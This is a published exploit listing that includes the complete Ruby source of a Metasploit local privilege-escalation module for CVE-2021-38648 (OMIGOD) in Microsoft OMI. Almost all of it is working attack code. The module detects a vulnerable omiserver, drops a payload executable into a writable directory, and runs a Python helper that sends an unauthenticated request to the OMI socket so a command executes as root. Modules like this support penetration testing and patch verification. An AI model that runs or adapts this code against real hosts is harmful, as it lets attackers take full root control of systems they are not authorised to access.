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Microsoft OMI Management Interface Authentication Bypass

Microsoft OMI Management Interface Authentication Bypass
Posted Nov 10, 2021
Authored by Spencer McIntyre, Nir Ohfeld, Shir Tamari | Site metasploit.com

This Metasploit module demonstrates that by removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

tags | exploit, local, root
advisories | CVE-2021-38648
SHA-256 | 421ae743686547f1ecd98e3086fa9370482e6a9646a5f30c18b32491b7848309

Microsoft OMI Management Interface Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Process
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
'Description' => %q{
By removing the authentication exchange, an attacker can issue requests to the local OMI management socket
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
OMI version 1.6.8-1 (released September 8th 2021).
},
'References' => [
['CVE', '2021-38648'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
],
'Author' => [
'Nir Ohfeld', # vulnerability discovery & research
'Shir Tamari', # vulnerability discovery & research
'Spencer McIntyre' # metasploit module
],
'DisclosureDate' => '2021-09-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'DisableNops' => true, 'Space' => 256 }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'AKA' => ['OMIGOD'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_advanced_options([
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
])
end

def check
pid = pidof('omiserver').first
return CheckCode::Safe('The omiserver process was not found.') if pid.nil?

omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?

vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
version = Regexp.last_match(1)
else
return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
end

return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')

CheckCode::Appears("Version #{version} is affected.")
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
ensure
register_file_for_cleanup(path)
end

def find_exec_program
%w[python python3 python2].select(&method(:command_exists?)).first
end

def get_socket_path
socket_path = datastore['SocketPath']
return socket_path unless socket_path.blank?

pid = pidof('omiserver').first
fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?

if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
socket_path = Regexp.last_match(1)
else
begin
socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
rescue StandardError # rubocop:disable Lint/SuppressedException
end
end

fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?

vprint_status("Socket path: #{socket_path}")
socket_path
end

def exploit
python_binary = find_exec_program
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

vprint_status("Using '#{python_binary}' to run the exploit")
socket_path = get_socket_path
path = datastore['WritableDir']
python_script = rand_text_alphanumeric(5..10) + '.py'

case target['Type']
when :unix_cmd
root_cmd = payload.encoded
when :linux_dropper
unless path.start_with?('/')
# the command will be executed from a different working directory so use an absolute path
fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
end

payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
if payload_path.length > 256
# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
# command that is executed
fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
end

upload(payload_path, generate_payload_exe)
cmd_exec("chmod +x '#{payload_path}'")
root_cmd = payload_path
end

upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
vprint_status("Running #{cmd}")
output = cmd_exec(cmd)
vprint_line(output) unless output.blank?
end
end
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